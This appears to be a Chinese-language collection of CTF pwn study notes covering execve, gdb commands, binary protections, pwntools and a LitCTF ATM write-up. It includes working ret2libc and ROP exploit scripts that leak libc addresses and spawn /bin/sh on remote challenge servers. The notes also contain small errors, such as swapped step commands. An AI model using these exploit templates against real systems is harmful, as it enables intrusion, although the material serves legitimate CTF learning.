0%

execve

execve这个函数有三个参数

1
int execve(const char *file,char *const argv[],char *const envp[])

第一个参数,是要打开运行的二进制文件,这个是个文件路径,绝对路径和相对路径都可以

1、文件路径为/bin/sh,这个sh其实是个shell程序,如果argv是空(0也可以),那么就会去打开一个shell,所以execve(“/bin/sh”,0,0)是我们最常用的,but如果argv不为空呢,sh就可以变成变成一个shell脚本解析器,这时候argv应该是这么组成char *argv[]={“/bin/sh”,”flag”,NULL}
2、文件路径为/bin/cat,这个cat故名思议就是打印文件内容的程序,函数形式为execve(“/bin/cat”,argv,0),argv[]={“/bin/cat”,”flag”,NULL}这样子这个数组的第一个内容是文件路径,这个和execve的第一个参数一样,但是吧由于argv的特性,所以数组的第一个一定得是这个,然后第二个就是我们要解析的脚本路径,我这边是相对路径,然后第三个是空,这个是argv的要求,要求最后一个一定得是NULL,这个有什么用呢,如果argv里面的要解析的文件不是shell程序,那么就会把文件内容以报错的形式输出出来,如果题目把0(标准输入)和1(标准输出)关了,还能这么拿到flag

1
int main(int argc,char* argv[])

在说明第二个参数之前,我们要说明一下这个execve的功能,我们知道程序的执行是由进程执行的,那么如果使用的execve,这个函数后面的代码全部不执行,转头去执行我们第一个参数指向的二进制代码
主函数是有参数的,可以通过这个参数传一些信息给主函数

第二个参数,我们上面提到了主函数有两个参数,第二个参数叫做argv,这个刚好和我们第二个参数名字一样,其实我们第二个参数就是原封不动的传给要去执行的二进制代码的argv参数,这个参数的详细介绍后面再说
第三个参数是环境变量,这个我并没有细究,因为通常都是NULL

RAP:用来存放返回值

RBP,RSP:做栈,保护栈

pop edp:ebp转换到指向原来所在地址的栈中内容(一般是个地址)


以上为编译器发展的近况,与操作系统(cpu)无关。


rax,rbx,rcx,rdx,rsi,rdi,rbp,rsp等r8之前的寄存器前三十二位为eax等(exx形式),后三十二位为xx(例:ax)。

r8之后为r8d等.(rxx形式),后32位为rxxw。


rip:存放当前执行的指令的地址。


(gdb) disassemble $rip 反编译rip中地址所对应的命令

rip可换为其对应的命令函数名(eg:main)


set disassembly-flavor intel将反编译转化为英特尔模式 在gdb运行编译程序时直接输入命令


设置断点:

b * 0x8048489

查看断点 个数,地址,所在函数位置

i b

执行到断点位置

c

查看寄存器信息

i r

使断点有效(已设置断点):

enable b id[b-id为中断编号]

enable id

使断点失效(已设置断点):

标准写法:disable b id[b-id为中断编号]

不标准写法:d 2(2指断电的num),disable 2


lea =》Load effective address(原含义)

现含义:lea rax,[rbp-0x18] 用于计算等 op后长度更短,必须加方括号,不加为原含义


xor异或指令:

eg:xor ebx,ebx (两指令)=>将ebx=0 (对比mov ebx ,0(三指令)更短)

但xor有影响标志寄存器的副作用,但mov没有


jcc系列


cmp:

大概类用于sub,减的作用。

区别:

cmp:cmp al,0x61——al-0x61不赋值且不存储,与jne对比使用(strcmp类似于cmp)

sub:sub al ,0x61——al=al-0x61赋值且存储


ni:步入

si:步过

finish:步出函数

PTR——指针

8 16 32 64 个01位(bit)

BYTE WROD DWORD QWORD

拿多少内存的数赋值


cpu进行运算。从寄存器中取数。

定义的数优先存在16个寄存器中,其余过多的参数存在虚拟内存中。

如果刚开始就过多,参数从寄存器移到虚拟内存(push),使用时候从虚拟内存移到寄存器中。

查看内存的数:

X/20i 4RIP

{与disassemble不同的一点是 x只会显示你输入的数量的相关语句,而disassemble会把所有相关语句都汇编}

20:以下20行关于XXX的指令

rip:相当于上句的xxx

i:采用汇编的形式呈现 b:以byte形式看一个字节的形式显示 g:以八个字节的形式呈现 w以四个字节的形式呈现

d:以十进制显示 (常用搭配bd) x:以十六进制显示

x/20b $rbp-0x10

看最后方地址的内容是什么,连续看20句相关内容

x/20i 0向5555555552ce

从末尾地址往下看20行以汇编形式呈现


set

*0x1111111111 =19 *地址=值

$rbp=19 $寄存器=值

{char[4]} 0x131312=“ACE”

leave:leave指令将RSP寄存器的内容复制到RBP寄存器中,然后RSP寄存器的地址+8。
当程序调用system函数时,会自动去寻找栈底即ebp指向的位置,然后将ebp+8字节的位置的数据当作函数的参数,所以如果我们想将/bin/sh作为system函数的参数,就可以在栈溢出的时候,先修改eip为system函数的地址,然后填充4个字节的垃圾数据,再将/bin/sh的地址写入栈上,这样调用system函数的时候,就可以将/bin/sh作为参数,然后返回一个shell。

注意: 为什么是在eip(即system函数地址)后面覆盖4个字节垃圾数据而不是前面提到的8个字节,这是因为当我们调用system函数的时候,在system函数中会首先执行push ebp指令,将4字节的ebp地址压入栈中,而此时的栈底距离我们的参数/bin/sh正好8字节,所以我们应该填充4字节垃圾数据。

** LitCTF PWN部分 ATM题解**

打开vm进行文件类型查看。

打开ida看反汇编代码。

HIWORD是High Word的缩写,作用是取得某个4字节变量(即32位的值)在内存中处于高位的两个字节,即一个word长的数据
LOWORD是Low Word的缩写,作用是取得某个4字节变量(即32位的值)在内存中处于低位的两个字节,即一个word长的数据

无后门,推测使用ret2libc。选项5可以泄露printf的地址,可以直接利用。

本地运行程序后,进入选项3输入后进入选项1发现balance值为乱序。

1
2
3
4
原因:

v5 = (unsigned int)nptr;
此操作将nptr数组的地址转换为无符号整数类型并存储在v5变量中。而正确应该是将用户输入的字符串转换为数字类型才合理。

进入3选项加钱,钱相当于下面选项5的输入长度,使可输入值尽可能大来进行栈溢出。

offse=0x160+0x08

利用ropgadget寻找对应的pop rdi,ret的地址

之后进行64的ROP模板

payload=offset*b‘a’+p64(pop rdi)+p64(binsh)+p64(ret)+p64(system)

memcpy指的是C和C++使用的内存拷贝函数,函数原型为void *memcpy(void *destin, void *source, unsigned n);函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中,即从源source中拷贝n个字节到目标destin中。

pwntools基本指令

checksec

查看程式開了哪些保護機制

安裝:Pwntools gdb

使用:checksec

nc / ncat

远程连线工具

使⽤ ncat 将程式在靶机连接起來,接着使用 nc 连接

使用:nc

Vim

编辑器

安裝:sudo apt install vim

Relro:Full Relro(重定位表只读) Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt个表。

Stack:No Canary found(能栈溢出) 栈保护。栈溢出保护是一种缓冲区溢出攻击缓解手段。启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。 简单来说就是通过验证cookie,来判断执行的代码是不是恶意代码

NX: NX enable(不可执行内存) Non-Executable Memory,不可执行内存。 原理是将数据所在内存页标识为不可执行,防止因为程序运行出现溢出而使得攻击者的shellcode可能会在数据区尝试执行的情况。NX是对栈和堆的一种保护机制。实验需要关闭NX和地址随机化,否则执行shellcode时,CPU就会抛出异常,而不是去执行恶意指令。Linux系统叫做NX,Windows系统中类似的机制叫DEP(Data Execute Prevention)

PIE: PIE enable(开启ASLR 地址随机化) Address space layout randomization,地址空间布局随机化。通过将数据随机放置来防止攻击


pwntools

接收远端传回的数据

1
2
3
4
5
6
7
8
9
10
11
12
interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。

recv(numb=字节大小, timeout=default) : 接收指定字节数。

recvall() : 一直接收直到达到文件EOF。

recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。

recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。

recvrepeat(timeout=default) : 持续接收直到EOF或timeout。

向远端发送数据

1
2
3
send(data) : 发送数据。

sendline(data) : 发送一行数据,相当于在数据末尾加\n。

ret2csu万能gadget

1
2
3
4
5
6
#万能gadget1:
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn

#万能gadget2:
mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]; add rbx, 1; cmp rbx, rbp; jnz short loc_400620

分析可得:处理后栈结构中布置的数据将要依次存入以下寄存器中—— rbx, rbq, r12, rdx, rsi, edi

在这些寄存器中,主要关注的是 r12, rdx, rsi, edi寄存器,

他们分别保存着将要调用函数的指针的地址、第三个参数、第二个参数和第一个参数。

而rbx和rbp必须的需要将它们的值置为0和1。

原因:在gadget2中,我们call了 [r12+rbx8] ,将rbx置为0即 [r12+rbx8] == [r12],方便我们传参。而设置rbp为1是因为 add rbx, 1; cmp rbx, rbp; jnz xxxxxx 。由于我们通常使rbx=0,从而使r12+rbx*8 = r12,所以call指令结束后rbx必然会变成1。若此时rbp != 1,jnz会再次进行call,从而可能引起段错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p=remote('node3.buuoj.cn',29610)
elf=ELF('./bof')
libc=ELF('../libc-2.23_32.so')
p.recv()
payload=p8(0)*(offset+4)+p32(elf.plt['write'])+p32(main_addr)+p32(1)+p32(elf.got['write'])+p32(4)

p.sendline(payload)

libc_base=u32(p.recvuntil('\xf7')[-4:])-libc.symbols['write']
system_addr=libc_base+libc.symbols['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh'))
print(hex(libc_base))
print(hex(bin_sh))
print(hex(system_addr))
payload=b'p'*(offset+4)+p32(system_addr)+b'dead'+p32(bin_sh)
p.sendline(payload)

p.interactive()

read函数(这里字符串只有0x80字节,而read需要从字符串中读取字节数远大于字符串),存在溢出条件。

点开shift+F12进入筛选字符串界面点击后即可进入汇编地址目录,寻找汇编操作的地址作为返回地址。


后门类型:libc,system,bin/sh,cat flag。

libc:

可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址

做题要找对应函数在got中的地址

32位和64位的区别

libc相关工具使用

1
2
3
4
5
6
7
8
from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

obj.dump("system") #system 偏移
obj.dump("str_bin_sh") #/bin/sh 偏移
obj.dump("__libc_start_main_ret")

如果遇到返回多个libc版本库的情况,可以通过

1
add_condition(leaked_func, leaked_address)

来添加限制条件,也可以手工选择其中一个libc版本(如果你确定的话)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8) #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
以上为因本题目所需写出的特殊语句
payload+=p64(pop_rdi)
payload+=p64(puts_got) #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_plt) #调用puts函数,输出的是puts的got表地址
payload+=p64(main) #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
#让它返回到main函数,这样我们才可以再一次利用输入点构造rop

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))#接收程序返回的地址
#lijust(8,‘\0’),不满8位的用0补足
libc=LibcSearcher('puts',puts_addr) #利用LibcSearcher模块找到匹配的libc版本


strlen函数遇到‘\0’就会停止。x为无符号整型大于等于0(unsigned int)


偏移地址:libc是Linux新系统下的C函数库,其中就会有system()函数、”/bin/sh”字符串,而libc库中存放的就是这些函数的偏移地址。换句话说,只要确定了libc库的版本,就可以确定其中system()函数、”/bin/sh”字符串的偏移地址。解题核心在于如何确定libc版本。

基地址:每次运行程序加载函数时,函数的基地址都会发生改变。这是一种地址随机化的保护机制,导致函数的真实地址每次运行都是不一样的。然而,哪怕每次运行时函数的真实地址一直在变,最后三位确始终相同。可以根据这最后三位是什么确定这个函数的偏移地址,从而反向推断出libc的版本(此处需要用到工具LibcSearcher库,本文忽略这个步骤)。那么如何求基地址呢?如果我们可以知道一个函数的真实地址,用公式:

这次运行程序的基地址 = 这次运行得到的某个函数func的真实地址 - 函数func的偏移地址

即可求出这次运行的基地址。


如何找到某个函数func的真实地址呢?

像puts(),write()这样的函数可以打印内容,我们可以直接利用这些打印函数,打印出某个函数的真实地址(即got表中存放的地址)。某个函数又指哪个函数呢?由于Linux的延迟绑定机制,我们必须选择一个main函数中已经执行过的函数(这样才能保证该函数在got表的地址可以被找到),选哪个都可以,当然也可以直接选puts和write,毕竟题目中像puts和write往往会直接出现在main函数中。

总结一下上面这段话,我们可以通过构造payload让程序执行puts(puts@got)或者write(1,write@got, 读取的字节数)打印puts函数/write函数的真实地址。


p32() 可以让我们转换整数到小端序格式. p32 转换4字节. p64p16 则分别转换 8 bit 和 2 bit 数字.

1
2
3
4
5
6
7
%d // 十进制 - 输出十进制整数
%s // 字符串 - 从内存中读取字符串
%x //十六进制 - 输出十六进制数
%c // 字符 - 输出字符
%p // 指针 - 指针地址
%n // 到目前为止所写的字符数


1
atoi()

函数会扫描参数 str 字符串,跳过前面的空白字符(例如空格,tab缩进等),直到遇上数字或正负符号才开始做转换,而再遇到 非数字 或 字符串结束时(’\0’) 才结束转换,并将结果返回。函数返回转换后的整型数;如果 str 不能转换成 int 或者 str 为空字符串,那么将返回 0。


1
p.recvuntil("xxxxx")

更类似于接收到xxxxx的消息再进行下一操作,便于两步输入的分割。


1
read(int fd, void *buf, size_t count)
1
ssize_t read(int fd,void*buf,size_t count)

参数说明:
fd: 是文件描述符
buf: 为读出数据的缓冲区;
count: 为每次读取的字节数(是请求读取的字节数,读上来的数据保
存在缓冲区buf中,同时文件的当前读写位置向后移)


使用Write()泄露函数实际地址

头文件: #include <unistd.h>

定义函数:ssize_t write (int fd, const void * buf, size_t count);

函数说明:write()会把参数buf 所指的内存写入count 个字节到参数fd 所指的文件内. 当然, 文件读写位置也会随之移动.write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响。因此leak函数中对数据的读取和处理较为简单。

第一个参数fd=1:标准输出 STDOUT
返回值:如果顺利write()会返回实际写入的字节数. 当有错误发生时则返回-1, 错误代码存入errno 中.

Payload:‘a’ * 栈大小 + ebp + write_plt_addr + write执行后的返回地址 + fd + 要泄露的地址 + count

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
elf = ELF('./elf_file')
def leak(addr):
payload = b''
payload += b'a' * 0x88 # 栈的大小
payload += b'a' * 0x4 # ebp
payload += p32(write_plt) # write地址
payload += p32(main_addr) # 返回地址
payload += p32(1) # 第一个参数 fd
payload += p32(addr) # 第二个参数 buf 通常可以为write_got
payload += p32(4) # 第三个参数 size
conn.sendlineafter(b'Input:\n',payload)
content = conn.recv()[:4]
print("%#x -> %s" %(addr, binascii.b2a_hex((content or ''))))
return content

d = DynELF(leak, elf = elf)
system_addr = d.lookup('__libc_system', 'libc')
log.success("system:"+hex(system_addr))

使用Puts()泄露函数实际地址

头文件: #include<stdio.h>

定义函数:*int puts(const char string);

函数说明: **puts()**函数只能够输出字符串,以’\0’来确定字符串的结尾。

Payload:

1
2
3
4
5
6
payload = b''
payload += b'a' * 0X # 栈的大小
payload += p64(0) # ebp
payload += p64(pop_rdi) # 给puts()函数赋值
payload += p64(addr) # leak函数的参数addr 可以为puts_got
payload += p64(puts_plt) # puts函数地址

gadget:

安装了pwntools后,执行如下命令即可(此处以攻防世界的”pwn-100”为例):

1
ROPgadget --binary ./pwn-100 --only "pop|ret"

addr要略比实际靠前,要取ctrl+s显示bss段开始靠前一点

prot值如下:

https://ooo.0x0.ooo/2024/05/07/OpC231.png

关于int 0x80以及execve函数的利用

关于系统调用的知识:

Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数

应用程序调用系统调用的过程是:

1、把系统调用的编号存入 EAX

2、把函数参数存入其它通用寄存器

3、触发 0x80 号中断(int 0x80)

查看 execve 的系统调用号:(得到的数值需要转化为十六进制表达,给的数字为10进制)

1
cat /usr/include/asm/unistd_32.h | grep execve 

图片表示